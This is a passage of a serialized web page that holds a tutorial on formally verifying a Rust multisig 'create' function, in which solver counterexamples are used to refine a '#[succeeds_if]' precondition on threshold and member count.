"value":25584},"Create",{"type":23,"tag":230,"props":25586,"children":25587},{"style":274},[25588],{"type":29,"value":8475},{"type":23,"tag":230,"props":25590,"children":25591},{"class":232,"line":4534},[25592,25597,25601,25605],{"type":23,"tag":230,"props":25593,"children":25594},{"style":262},[25595],{"type":29,"value":25596},"    threshold",{"type":23,"tag":230,"props":25598,"children":25599},{"style":268},[25600],{"type":29,"value":218},{"type":23,"tag":230,"props":25602,"children":25603},{"style":676},[25604],{"type":29,"value":23344},{"type":23,"tag":230,"props":25606,"children":25607},{"style":274},[25608],{"type":29,"value":388},{"type":23,"tag":230,"props":25610,"children":25611},{"class":232,"line":4542},[25612,25617,25621,25625],{"type":23,"tag":230,"props":25613,"children":25614},{"style":262},[25615],{"type":29,"value":25616},"    create_key",{"type":23,"tag":230,"props":25618,"children":25619},{"style":268},[25620],{"type":29,"value":218},{"type":23,"tag":230,"props":25622,"children":25623},{"style":676},[25624],{"type":29,"value":23172},{"type":23,"tag":230,"props":25626,"children":25627},{"style":274},[25628],{"type":29,"value":388},{"type":23,"tag":230,"props":25630,"children":25631},{"class":232,"line":4559},[25632,25637,25641,25645,25649,25653],{"type":23,"tag":230,"props":25633,"children":25634},{"style":262},[25635],{"type":29,"value":25636},"    members",{"type":23,"tag":230,"props":25638,"children":25639},{"style":268},[25640],{"type":29,"value":218},{"type":23,"tag":230,"props":25642,"children":25643},{"style":676},[25644],{"type":29,"value":23703},{"type":23,"tag":230,"props":25646,"children":25647},{"style":274},[25648],{"type":29,"value":8143},{"type":23,"tag":230,"props":25650,"children":25651},{"style":676},[25652],{"type":29,"value":23712},{"type":23,"tag":230,"props":25654,"children":25655},{"style":274},[25656],{"type":29,"value":8475},{"type":23,"tag":230,"props":25658,"children":25659},{"class":232,"line":4587},[25660,25664,25668,25672],{"type":23,"tag":230,"props":25661,"children":25662},{"style":274},[25663],{"type":29,"value":703},{"type":23,"tag":230,"props":25665,"children":25666},{"style":268},[25667],{"type":29,"value":16084},{"type":23,"tag":230,"props":25669,"children":25670},{"style":676},[25671],{"type":29,"value":16089},{"type":23,"tag":230,"props":25673,"children":25674},{"style":274},[25675],{"type":29,"value":22646},{"type":23,"tag":230,"props":25677,"children":25678},{"class":232,"line":4595},[25679],{"type":23,"tag":230,"props":25680,"children":25681},{"style":237},[25682],{"type":29,"value":25683},"    // sort the members and remove duplicates\n",{"type":23,"tag":230,"props":25685,"children":25686},{"class":232,"line":4619},[25687,25691,25695,25700,25704,25708],{"type":23,"tag":230,"props":25688,"children":25689},{"style":256},[25690],{"type":29,"value":5340},{"type":23,"tag":230,"props":25692,"children":25693},{"style":256},[25694],{"type":29,"value":5345},{"type":23,"tag":230,"props":25696,"children":25697},{"style":262},[25698],{"type":29,"value":25699}," members",{"type":23,"tag":230,"props":25701,"children":25702},{"style":268},[25703],{"type":29,"value":271},{"type":23,"tag":230,"props":25705,"children":25706},{"style":262},[25707],{"type":29,"value":25699},{"type":23,"tag":230,"props":25709,"children":25710},{"style":274},[25711],{"type":29,"value":511},{"type":23,"tag":230,"props":25713,"children":25714},{"class":232,"line":4627},[25715,25719,25723,25728],{"type":23,"tag":230,"props":25716,"children":25717},{"style":262},[25718],{"type":29,"value":25636},{"type":23,"tag":230,"props":25720,"children":25721},{"style":268},[25722],{"type":29,"value":312},{"type":23,"tag":230,"props":25724,"children":25725},{"style":294},[25726],{"type":29,"value":25727},"sort",{"type":23,"tag":230,"props":25729,"children":25730},{"style":274},[25731],{"type":29,"value":2140},{"type":23,"tag":230,"props":25733,"children":25734},{"class":232,"line":4659},[25735,25739,25743,25748],{"type":23,"tag":230,"props":25736,"children":25737},{"style":262},[25738],{"type":29,"value":25636},{"type":23,"tag":230,"props":25740,"children":25741},{"style":268},[25742],{"type":29,"value":312},{"type":23,"tag":230,"props":25744,"children":25745},{"style":294},[25746],{"type":29,"value":25747},"dedup",{"type":23,"tag":230,"props":25749,"children":25750},{"style":274},[25751],{"type":29,"value":2140},{"type":23,"tag":230,"props":25753,"children":25754},{"class":232,"line":4671},[25755],{"type":23,"tag":230,"props":25756,"children":25757},{"emptyLinePlaceholder":18},[25758],{"type":29,"value":459},{"type":23,"tag":230,"props":25760,"children":25761},{"class":232,"line":4688},[25762],{"type":23,"tag":230,"props":25763,"children":25764},{"style":237},[25765],{"type":29,"value":25766},"    // check we don't exceed u16\n",{"type":23,"tag":230,"props":25768,"children":25769},{"class":232,"line":4701},[25770,25774,25779,25783,25787,25791,25795],{"type":23,"tag":230,"props":25771,"children":25772},{"style":256},[25773],{"type":29,"value":5340},{"type":23,"tag":230,"props":25775,"children":25776},{"style":262},[25777],{"type":29,"value":25778}," total_members",{"type":23,"tag":230,"props":25780,"children":25781},{"style":268},[25782],{"type":29,"value":271},{"type":23,"tag":230,"props":25784,"children":25785},{"style":262},[25786],{"type":29,"value":25699},{"type":23,"tag":230,"props":25788,"children":25789},{"style":268},[25790],{"type":29,"value":312},{"type":23,"tag":230,"props":25792,"children":25793},{"style":294},[25794],{"type":29,"value":11471},{"type":23,"tag":230,"props":25796,"children":25797},{"style":274},[25798],{"type":29,"value":2140},{"type":23,"tag":230,"props":25800,"children":25801},{"class":232,"line":4724},[25802,25806,25810,25814,25818],{"type":23,"tag":230,"props":25803,"children":25804},{"style":866},[25805],{"type":29,"value":1493},{"type":23,"tag":230,"props":25807,"children":25808},{"style":262},[25809],{"type":29,"value":25778},{"type":23,"tag":230,"props":25811,"children":25812},{"style":268},[25813],{"type":29,"value":11055},{"type":23,"tag":230,"props":25815,"children":25816},{"style":5149},[25817],{"type":29,"value":6861},{"type":23,"tag":230,"props":25819,"children":25820},{"style":274},[25821],{"type":29,"value":277},{"type":23,"tag":230,"props":25823,"children":25824},{"class":232,"line":4741},[25825,25829,25834,25838,25843,25847,25852],{"type":23,"tag":230,"props":25826,"children":25827},{"style":866},[25828],{"type":29,"value":3554},{"type":23,"tag":230,"props":25830,"children":25831},{"style":294},[25832],{"type":29,"value":25833}," err!",{"type":23,"tag":230,"props":25835,"children":25836},{"style":274},[25837],{"type":29,"value":302},{"type":23,"tag":230,"props":25839,"children":25840},{"style":676},[25841],{"type":29,"value":25842},"MsError",{"type":23,"tag":230,"props":25844,"children":25845},{"style":268},[25846],{"type":29,"value":5818},{"type":23,"tag":230,"props":25848,"children":25849},{"style":676},[25850],{"type":29,"value":25851},"EmptyMembers",{"type":23,"tag":230,"props":25853,"children":25854},{"style":274},[25855],{"type":29,"value":753},{"type":23,"tag":230,"props":25857,"children":25858},{"class":232,"line":4759},[25859],{"type":23,"tag":230,"props":25860,"children":25861},{"style":274},[25862],{"type":29,"value":1552},{"type":23,"tag":230,"props":25864,"children":25865},{"class":232,"line":4768},[25866],{"type":23,"tag":230,"props":25867,"children":25868},{"emptyLinePlaceholder":18},[25869],{"type":29,"value":459},{"type":23,"tag":230,"props":25871,"children":25872},{"class":232,"line":4776},[25873],{"type":23,"tag":230,"props":25874,"children":25875},{"style":237},[25876],{"type":29,"value":25877},"    // make sure we don't exceed u16 on first call\n",{"type":23,"tag":230,"props":25879,"children":25880},{"class":232,"line":4784},[25881,25885,25889,25893,25897,25901,25905,25910,25914],{"type":23,"tag":230,"props":25882,"children":25883},{"style":866},[25884],{"type":29,"value":1493},{"type":23,"tag":230,"props":25886,"children":25887},{"style":262},[25888],{"type":29,"value":25778},{"type":23,"tag":230,"props":25890,"children":25891},{"style":268},[25892],{"type":29,"value":16521},{"type":23,"tag":230,"props":25894,"children":25895},{"style":676},[25896],{"type":29,"value":16058},{"type":23,"tag":230,"props":25898,"children":25899},{"style":268},[25900],{"type":29,"value":5818},{"type":23,"tag":230,"props":25902,"children":25903},{"style":294},[25904],{"type":29,"value":4276},{"type":23,"tag":230,"props":25906,"children":25907},{"style":274},[25908],{"type":29,"value":25909},"(u16",{"type":23,"tag":230,"props":25911,"children":25912},{"style":268},[25913],{"type":29,"value":5818},{"type":23,"tag":230,"props":25915,"children":25916},{"style":274},[25917],{"type":29,"value":25918},"MAX) {\n",{"type":23,"tag":230,"props":25920,"children":25921},{"class":232,"line":4792},[25922,25926,25930,25934,25938,25942,25947],{"type":23,"tag":230,"props":25923,"children":25924},{"style":866},[25925],{"type":29,"value":3554},{"type":23,"tag":230,"props":25927,"children":25928},{"style":294},[25929],{"type":29,"value":25833},{"type":23,"tag":230,"props":25931,"children":25932},{"style":274},[25933],{"type":29,"value":302},{"type":23,"tag":230,"props":25935,"children":25936},{"style":676},[25937],{"type":29,"value":25842},{"type":23,"tag":230,"props":25939,"children":25940},{"style":268},[25941],{"type":29,"value":5818},{"type":23,"tag":230,"props":25943,"children":25944},{"style":676},[25945],{"type":29,"value":25946},"MaxMembersReached",{"type":23,"tag":230,"props":25948,"children":25949},{"style":274},[25950],{"type":29,"value":753},{"type":23,"tag":230,"props":25952,"children":25953},{"class":232,"line":4824},[25954],{"type":23,"tag":230,"props":25955,"children":25956},{"style":274},[25957],{"type":29,"value":1552},{"type":23,"tag":230,"props":25959,"children":25960},{"class":232,"line":4832},[25961],{"type":23,"tag":230,"props":25962,"children":25963},{"emptyLinePlaceholder":18},[25964],{"type":29,"value":459},{"type":23,"tag":230,"props":25966,"children":25967},{"class":232,"line":4840},[25968],{"type":23,"tag":230,"props":25969,"children":25970},{"style":237},[25971],{"type":29,"value":25972},"    // make sure threshold is valid\n",{"type":23,"tag":230,"props":25974,"children":25975},{"class":232,"line":4901},[25976,25980,25984,25988,25992,25996,26000,26005,26009,26013,26017,26021,26025,26029,26033,26038,26043],{"type":23,"tag":230,"props":25977,"children":25978},{"style":866},[25979],{"type":29,"value":1493},{"type":23,"tag":230,"props":25981,"children":25982},{"style":676},[25983],{"type":29,"value":16058},{"type":23,"tag":230,"props":25985,"children":25986},{"style":268},[25987],{"type":29,"value":5818},{"type":23,"tag":230,"props":25989,"children":25990},{"style":294},[25991],{"type":29,"value":4276},{"type":23,"tag":230,"props":25993,"children":25994},{"style":274},[25995],{"type":29,"value":302},{"type":23,"tag":230,"props":25997,"children":25998},{"style":262},[25999],{"type":29,"value":25064},{"type":23,"tag":230,"props":26001,"children":26002},{"style":274},[26003],{"type":29,"value":26004},") \u003C ",{"type":23,"tag":230,"props":26006,"children":26007},{"style":5149},[26008],{"type":29,"value":6348},{"type":23,"tag":230,"props":26010,"children":26011},{"style":268},[26012],{"type":29,"value":4014},{"type":23,"tag":230,"props":26014,"children":26015},{"style":676},[26016],{"type":29,"value":16058},{"type":23,"tag":230,"props":26018,"children":26019},{"style":268},[26020],{"type":29,"value":5818},{"type":23,"tag":230,"props":26022,"children":26023},{"style":294},[26024],{"type":29,"value":4276},{"type":23,"tag":230,"props":26026,"children":26027},{"style":274},[26028],{"type":29,"value":302},{"type":23,"tag":230,"props":26030,"children":26031},{"style":262},[26032],{"type":29,"value":25064},{"type":23,"tag":230,"props":26034,"children":26035},{"style":274},[26036],{"type":29,"value":26037},") > ",{"type":23,"tag":230,"props":26039,"children":26040},{"style":262},[26041],{"type":29,"value":26042},"total_members",{"type":23,"tag":230,"props":26044,"children":26045},{"style":274},[26046],{"type":29,"value":277},{"type":23,"tag":230,"props":26048,"children":26049},{"class":232,"line":4909},[26050,26054,26058,26062,26066,26070,26075],{"type":23,"tag":230,"props":26051,"children":26052},{"style":866},[26053],{"type":29,"value":3554},{"type":23,"tag":230,"props":26055,"children":26056},{"style":294},[26057],{"type":29,"value":25833},{"type":23,"tag":230,"props":26059,"children":26060},{"style":274},[26061],{"type":29,"value":302},{"type":23,"tag":230,"props":26063,"children":26064},{"style":676},[26065],{"type":29,"value":25842},{"type":23,"tag":230,"props":26067,"children":26068},{"style":268},[26069],{"type":29,"value":5818},{"type":23,"tag":230,"props":26071,"children":26072},{"style":676},[26073],{"type":29,"value":26074},"InvalidThreshold",{"type":23,"tag":230,"props":26076,"children":26077},{"style":274},[26078],{"type":29,"value":753},{"type":23,"tag":230,"props":26080,"children":26081},{"class":232,"line":4938},[26082],{"type":23,"tag":230,"props":26083,"children":26084},{"style":274},[26085],{"type":29,"value":1552},{"type":23,"tag":230,"props":26087,"children":26088},{"class":232,"line":4957},[26089],{"type":23,"tag":230,"props":26090,"children":26091},{"emptyLinePlaceholder":18},[26092],{"type":29,"value":459},{"type":23,"tag":230,"props":26094,"children":26095},{"class":232,"line":4973},[26096,26100,26104,26108,26112,26117,26121,26125],{"type":23,"tag":230,"props":26097,"children":26098},{"style":262},[26099],{"type":29,"value":22538},{"type":23,"tag":230,"props":26101,"children":26102},{"style":268},[26103],{"type":29,"value":312},{"type":23,"tag":230,"props":26105,"children":26106},{"style":274},[26107],{"type":29,"value":17002},{"type":23,"tag":230,"props":26109,"children":26110},{"style":268},[26111],{"type":29,"value":312},{"type":23,"tag":230,"props":26113,"children":26114},{"style":274},[26115],{"type":29,"value":26116},"multisig",{"type":23,"tag":230,"props":26118,"children":26119},{"style":268},[26120],{"type":29,"value":312},{"type":23,"tag":230,"props":26122,"children":26123},{"style":294},[26124],{"type":29,"value":23055},{"type":23,"tag":230,"props":26126,"children":26127},{"style":274},[26128],{"type":29,"value":619},{"type":23,"tag":230,"props":26130,"children":26131},{"class":232,"line":4990},[26132,26137],{"type":23,"tag":230,"props":26133,"children":26134},{"style":262},[26135],{"type":29,"value":26136},"        threshold",{"type":23,"tag":230,"props":26138,"children":26139},{"style":274},[26140],{"type":29,"value":388},{"type":23,"tag":230,"props":26142,"children":26143},{"class":232,"line":5006},[26144,26149],{"type":23,"tag":230,"props":26145,"children":26146},{"style":262},[26147],{"type":29,"value":26148},"        create_key",{"type":23,"tag":230,"props":26150,"children":26151},{"style":274},[26152],{"type":29,"value":388},{"type":23,"tag":230,"props":26154,"children":26155},{"class":232,"line":5019},[26156,26161],{"type":23,"tag":230,"props":26157,"children":26158},{"style":262},[26159],{"type":29,"value":26160},"        members",{"type":23,"tag":230,"props":26162,"children":26163},{"style":274},[26164],{"type":29,"value":388},{"type":23,"tag":230,"props":26166,"children":26167},{"class":232,"line":5050},[26168,26172,26176,26180,26185,26189,26193,26197,26202,26206,26210,26214],{"type":23,"tag":230,"props":26169,"children":26170},{"style":268},[26171],{"type":29,"value":10087},{"type":23,"tag":230,"props":26173,"children":26174},{"style":262},[26175],{"type":29,"value":22595},{"type":23,"tag":230,"props":26177,"children":26178},{"style":268},[26179],{"type":29,"value":312},{"type":23,"tag":230,"props":26181,"children":26182},{"style":274},[26183],{"type":29,"value":26184},"bumps",{"type":23,"tag":230,"props":26186,"children":26187},{"style":268},[26188],{"type":29,"value":312},{"type":23,"tag":230,"props":26190,"children":26191},{"style":294},[26192],{"type":29,"value":18676},{"type":23,"tag":230,"props":26194,"children":26195},{"style":274},[26196],{"type":29,"value":302},{"type":23,"tag":230,"props":26198,"children":26199},{"style":380},[26200],{"type":29,"value":26201},"\"multisig\"",{"type":23,"tag":230,"props":26203,"children":26204},{"style":274},[26205],{"type":29,"value":5467},{"type":23,"tag":230,"props":26207,"children":26208},{"style":268},[26209],{"type":29,"value":312},{"type":23,"tag":230,"props":26211,"children":26212},{"style":294},[26213],{"type":29,"value":6001},{"type":23,"tag":230,"props":26215,"children":26216},{"style":274},[26217],{"type":29,"value":5827},{"type":23,"tag":230,"props":26219,"children":26220},{"class":232,"line":5058},[26221],{"type":23,"tag":230,"props":26222,"children":26223},{"style":274},[26224],{"type":29,"value":26225},"    )\n",{"type":23,"tag":230,"props":26227,"children":26229},{"class":232,"line":26228},50,[26230],{"type":23,"tag":230,"props":26231,"children":26232},{"style":274},[26233],{"type":29,"value":975},{"type":23,"tag":32,"props":26235,"children":26236},{},[26237,26239,26244,26246,26251],{"type":29,"value":26238},"We can start by testing an empty ",{"type":23,"tag":71,"props":26240,"children":26242},{"className":26241},[],[26243],{"type":29,"value":22469},{"type":29,"value":26245}," (this will default to ",{"type":23,"tag":71,"props":26247,"children":26249},{"className":26248},[],[26250],{"type":29,"value":1726},{"type":29,"value":26252},"):",{"type":23,"tag":220,"props":26254,"children":26256},{"code":26255,"language":5319,"meta":7,"className":5320,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[26257],{"type":23,"tag":71,"props":26258,"children":26259},{"__ignoreMap":7},[26260,26268],{"type":23,"tag":230,"props":26261,"children":26262},{"class":232,"line":233},[26263],{"type":23,"tag":230,"props":26264,"children":26265},{"style":274},[26266],{"type":29,"value":26267},"#[succeeds_if()]\n",{"type":23,"tag":230,"props":26269,"children":26270},{"class":232,"line":243},[26271,26275,26279,26283,26287,26291,26296,26300],{"type":23,"tag":230,"props":26272,"children":26273},{"style":256},[26274],{"type":29,"value":16017},{"type":23,"tag":230,"props":26276,"children":26277},{"style":256},[26278],{"type":29,"value":16022},{"type":23,"tag":230,"props":26280,"children":26281},{"style":294},[26282],{"type":29,"value":9448},{"type":23,"tag":230,"props":26284,"children":26285},{"style":274},[26286],{"type":29,"value":302},{"type":23,"tag":230,"props":26288,"children":26289},{"style":268},[26290],{"type":29,"value":11922},{"type":23,"tag":230,"props":26292,"children":26293},{"style":274},[26294],{"type":29,"value":26295},") { ",{"type":23,"tag":230,"props":26297,"children":26298},{"style":268},[26299],{"type":29,"value":11922},{"type":23,"tag":230,"props":26301,"children":26302},{"style":274},[26303],{"type":29,"value":11927},{"type":23,"tag":32,"props":26305,"children":26306},{},[26307],{"type":29,"value":26308},"Running the solver, we get:",{"type":23,"tag":220,"props":26310,"children":26312},{"code":26311},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[26313],{"type":23,"tag":71,"props":26314,"children":26315},{"__ignoreMap":7},[26316],{"type":29,"value":26311},{"type":23,"tag":32,"props":26318,"children":26319},{},[26320,26322,26327],{"type":29,"value":26321},"This means that ",{"type":23,"tag":71,"props":26323,"children":26325},{"className":26324},[],[26326],{"type":29,"value":1726},{"type":29,"value":26328}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":32,"props":26330,"children":26331},{},[26332],{"type":29,"value":26333},"We can ask the solver to produce a counterexample:",{"type":23,"tag":220,"props":26335,"children":26337},{"code":26336},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26338],{"type":23,"tag":71,"props":26339,"children":26340},{"__ignoreMap":7},[26341],{"type":29,"value":26336},{"type":23,"tag":32,"props":26343,"children":26344},{},[26345],{"type":29,"value":26346},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":32,"props":26348,"children":26349},{},[26350],{"type":23,"tag":2258,"props":26351,"children":26352},{},[26353,26355,26361],{"type":29,"value":26354},"Note also that the verifier decided to use a ",{"type":23,"tag":71,"props":26356,"children":26358},{"className":26357},[],[26359],{"type":29,"value":26360},"SparseVec",{"type":29,"value":26362}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":32,"props":26364,"children":26365},{},[26366],{"type":23,"tag":2258,"props":26367,"children":26368},{},[26369,26371,26376,26377,26383,26385,26390,26392,26397],{"type":29,"value":26370},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":71,"props":26372,"children":26374},{"className":26373},[],[26375],{"type":29,"value":6148},{"type":29,"value":112},{"type":23,"tag":71,"props":26378,"children":26380},{"className":26379},[],[26381],{"type":29,"value":26382},"pop",{"type":29,"value":26384}," are stubbed out to simply panic for the ",{"type":23,"tag":71,"props":26386,"children":26388},{"className":26387},[],[26389],{"type":29,"value":26360},{"type":29,"value":26391}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":71,"props":26393,"children":26395},{"className":26394},[],[26396],{"type":29,"value":19532},{"type":29,"value":26398}," type.",{"type":23,"tag":32,"props":26400,"children":26401},{},[26402],{"type":29,"value":26403},"We can add this to our constraint and try again:",{"type":23,"tag":220,"props":26405,"children":26407},{"code":26406,"language":5319,"meta":7,"className":5320,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[26408],{"type":23,"tag":71,"props":26409,"children":26410},{"__ignoreMap":7},[26411,26419,26456,26463],{"type":23,"tag":230,"props":26412,"children":26413},{"class":232,"line":233},[26414],{"type":23,"tag":230,"props":26415,"children":26416},{"style":274},[26417],{"type":29,"value":26418},"#[succeeds_if(\n",{"type":23,"tag":230,"props":26420,"children":26421},{"class":232,"line":243},[26422,26427,26431,26435,26439,26443,26447,26451],{"type":23,"tag":230,"props":26423,"children":26424},{"style":274},[26425],{"type":29,"value":26426},"    (threshold ",{"type":23,"tag":230,"props":26428,"children":26429},{"style":256},[26430],{"type":29,"value":4343},{"type":23,"tag":230,"props":26432,"children":26433},{"style":676},[26434],{"type":29,"value":16058},{"type":23,"tag":230,"props":26436,"children":26437},{"style":274},[26438],{"type":29,"value":703},{"type":23,"tag":230,"props":26440,"children":26441},{"style":268},[26442],{"type":29,"value":21730},{"type":23,"tag":230,"props":26444,"children":26445},{"style":274},[26446],{"type":29,"value":25699},{"type":23,"tag":230,"props":26448,"children":26449},{"style":268},[26450],{"type":29,"value":312},{"type":23,"tag":230,"props":26452,"children":26453},{"style":274},[26454],{"type":29,"value":26455},"len()\n",{"type":23,"tag":230,"props":26457,"children":26458},{"class":232,"line":252},[26459],{"type":23,"tag":230,"props":26460,"children":26461},{"style":274},[26462],{"type":29,"value":22573},{"type":23,"tag":230,"props":26464,"children":26465},{"class":232,"line":280},[26466,26470,26474,26478,26482,26486,26490,26494],{"type":23,"tag":230,"props":26467,"children":26468},{"style":256},[26469],{"type":29,"value":16017},{"type":23,"tag":230,"props":26471,"children":26472},{"style":256},[26473],{"type":29,"value":16022},{"type":23,"tag":230,"props":26475,"children":26476},{"style":294},[26477],{"type":29,"value":9448},{"type":23,"tag":230,"props":26479,"children":26480},{"style":274},[26481],{"type":29,"value":302},{"type":23,"tag":230,"props":26483,"children":26484},{"style":268},[26485],{"type":29,"value":11922},{"type":23,"tag":230,"props":26487,"children":26488},{"style":274},[26489],{"type":29,"value":26295},{"type":23,"tag":230,"props":26491,"children":26492},{"style":268},[26493],{"type":29,"value":11922},{"type":23,"tag":230,"props":26495,"children":26496},{"style":274},[26497],{"type":29,"value":11927},{"type":23,"tag":32,"props":26499,"children":26500},{},[26501],{"type":29,"value":26502},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":220,"props":26504,"children":26506},{"code":26505},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26507],{"type":23,"tag":71,"props":26508,"children":26509},{"__ignoreMap":7},[26510],{"type":29,"value":26505},{"type":23,"tag":32,"props":26512,"children":26513},{},[26514],{"type":29,"value":26515},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":220,"props":26517,"children":26519},{"code":26518,"language":5319,"meta":7,"className":5320,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[26520],{"type":23,"tag":71,"props":26521,"children":26522},{"__ignoreMap":7},[26523,26530,26565,26586,26593],{"type":23,"tag":230,"props":26524,"children":26525},{"class":232,"line":233},[26526],{"type":23,"tag":230,"props":26527,"children":26528},{"style":274},[26529],{"type":29,"value":26418},{"type":23,"tag":230,"props":26531,"children":26532},{"class":232,"line":243},[26533,26537,26541,26545,26549,26553,26557,26561],{"type":23,"tag":230,"props":26534,"children":26535},{"style":274},[26536],{"type":29,"value":26426},{"type":23,"tag":230,"props":26538,"children":26539},{"style":256},[26540],{"type":29,"value":4343},{"type":23,"tag":230,"props":26542,"children":26543},{"style":676},[26544],{"type":29,"value":16058},{"type":23,"tag":230,"props":26546,"children":26547},{"style":274},[26548],{"type":29,"value":703},{"type":23,"tag":230,"props":26550,"children":26551},{"style":268},[26552],{"type":29,"value":21730},{"type":23,"tag":230,"props":26554,"children":26555},{"style":274},[26556],{"type":29,"value":25699},{"type":23,"tag":230,"props":26558,"children":26559},{"style":268},[26560],{"type":29,"value":312},{"type":23,"tag":230,"props":26562,"children":26563},{"style":274},[26564],{"type":29,"value":26455},{"type":23,"tag":230,"props":26566,"children":26567},{"class":232,"line":252},[26568,26572,26577,26581],{"type":23,"tag":230,"props":26569,"children":26570},{"style":268},[26571],{"type":29,"value":17946},{"type":23,"tag":230,"props":26573,"children":26574},{"style":274},[26575],{"type":29,"value":26576}," threshold ",{"type":23,"tag":230,"props":26578,"children":26579},{"style":268},[26580],{"type":29,"value":18013},{"type":23,"tag":230,"props":26582,"children":26583},{"style":274},[26584],{"type":29,"value":26585}," 0\n",{"type":23,"tag":230,"props":26587,"children":26588},{"class":232,"line":280},[26589],{"type":23,"tag":230,"props":26590,"children":26591},{"style":274},[26592],{"type":29,"value":22573},{"type":23,"tag":230,"props":26594,"children":26595},{"class":232,"line":334},[26596,26600,26604,26608,26612,26616,26620,26624],{"type":23,"tag":230,"props":26597,"children":26598},{"style":256},[26599],{"type":29,"value":16017},{"type":23,"tag":230,"props":26601,"children":26602},{"style":256},[26603],{"type":29,"value":16022},{"type":23,"tag":230,"props":26605,"children":26606},{"style":294},[26607],{"type":29,"value":9448},{"type":23,"tag":230,"props":26609,"children":26610},{"style":274},[26611],{"type":29,"value":302},{"type":23,"tag":230,"props":26613,"children":26614},{"style":268},[26615],{"type":29,"value":11922},{"type":23,"tag":230,"props":26617,"children":26618},{"style":274},[26619],{"type":29,"value":26295},{"type":23,"tag":230,"props":26621,"children":26622},{"style":268},[26623],{"type":29,"value":11922},{"type":23,"tag":230,"props":26625,"children":26626},{"style":274},[26627],{"type":29,"value":11927},{"type":23,"tag":32,"props":26629,"children":26630},{},[26631],{"type":29,"value":26632},"A third counterexample:",{"type":23,"tag":220,"props":26634,"children":26636},{"code":26635},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[26637],{"type":23,"tag":71,"props":26638,"children":26639},{"__ignoreMap":7},[26640],{"type":29,"value":26635},{"type":23,"tag":32,"props":26642,"children":26643},{},[26644,26646,26652],{"type":29,"value":26645},"Here we see the size of our ",{"type":23,"tag":71,"props":26647,"children":26649},{"className":26648},[],[26650],{"type":29,"value":26651},"members",{"type":29,"value":26653}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":220,"props":26655,"children":26657},{"code":26656,"language":5319,"meta":7,"className":5320,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[26658],{"type":23,"tag":71,"props":26659,"children":26660},{"__ignoreMap":7},[26661,26668,26703,26724,26776,26783],{"type":23,"tag":230,"props":26662,"children":26663},{"class":232,"line":233},[26664],{"type":23,"tag":230,"props":26665,"children":26666},{"style":274},[26667],{"type":29,"value":26418},{"type":23,"tag":230,"props":26669,"children":26670},{"class":232,"line":243},[26671,26675,26679,26683,26687,26691,26695,26699],{"type":23,"tag":230,"props":26672,"children":26673},{"style":274},[26674],{"type":29,"value":26426},{"type":23,"tag":230,"props":26676,"children":26677},{"style":256},[26678],{"type":29,"value":4343},{"type":23,"tag":230,"props":26680,"children":26681},{"style":676},[26682],{"type":29,"value":16058},{"type":23,"tag":230,"props":26684,"children":26685},{"style":274},[26686],{"type":29,"value":703},{"type":23,"tag":230,"props":26688,"children":26689},{"style":268},[26690],{"type":29,"value":21730},{"type":23,"tag":230,"props":26692,"children":26693},{"style":274},[26694],{"type":29,"value":25699},{"type":23,"tag":230,"props":26696,"children":26697},{"style":268},[26698],{"type":29,"value":312},{"type":23,"tag":230,"props":26700,"children":26701},{"style":274},[26702],{"type":29,"value":26455},{"type":23,"tag":230,"props":26704,"children":26705},{"class":232,"line":252},[26706,26710,26715,26719],{"type":23,"tag":230,"props":26707,"children":26708},{"style":268},[26709],{"type":29,"value":17946},{"type":23,"tag":230,"props":26711,"children":26712},{"style":274},[26713],{"type":29,"value":26714}," (threshold ",{"type":23,"tag":230,"props":26716,"children":26717},{"style":268},[26718],{"type":29,"value":18013},{"type":23,"tag":230,"props":26720,"children":26721},{"style":274},[26722],{"type":29,"value":26723}," 0)\n",{"type":23,"tag":230,"props":26725,"children":26726},{"class":232,"line":280},[26727,26731,26735,26739,26743,26747,26751,26756,26760,26764,26768,26772],{"type":23,"tag":230,"props":26728,"children":26729},{"style":268},[26730],{"type":29,"value":17946},{"type":23,"tag":230,"props":26732,"children":26733},{"style":274},[26734],{"type":29,"value":25313},{"type":23,"tag":230,"props":26736,"children":26737},{"style":268},[26738],{"type":29,"value":312},{"type":23,"tag":230,"props":26740,"children":26741},{"style":274},[26742],{"type":29,"value":23335},{"type":23,"tag":230,"props":26744,"children":26745},{"style":268},[26746],{"type":29,"value":21730},{"type":23,"tag":230,"props":26748,"children":26749},{"style":274},[26750],{"type":29,"value":664},{"type":23,"tag":230,"props":26752,"children":26753},{"style":676},[26754],{"type":29,"value":26755},"u16",{"type":23,"tag":230,"props":26757,"children":26758},{"style":268},[26759],{"type":29,"value":5818},{"type":23,"tag":230,"props":26761,"children":26762},{"style":676},[26763],{"type":29,"value":23353},{"type":23,"tag":230,"props":26765,"children":26766},{"style":256},[26767],{"type":29,"value":3589},{"type":23,"tag":230,"props":26769,"children":26770},{"style":676},[26771],{"type":29,"value":16058},{"type":23,"tag":230,"props":26773,"children":26774},{"style":274},[26775],{"type":29,"value":22026},{"type":23,"tag":230,"props":26777,"children":26778},{"class":232,"line":334},[26779],{"type":23,"tag":230,"props":26780,"children":26781},{"style":274},[26782],{"type":29,"value":22573},{"type":23,"tag":230,"props":26784,"children":26785},{"class":232,"line":371},[26786,26790,26794,26798,26802,26806,26810,26814],{"type":23,"tag":230,"props":26787,"children":26788},{"style":256},[26789],{"type":29,"value":16017},{"type":23,"tag":230,"props":26791,"children":26792},{"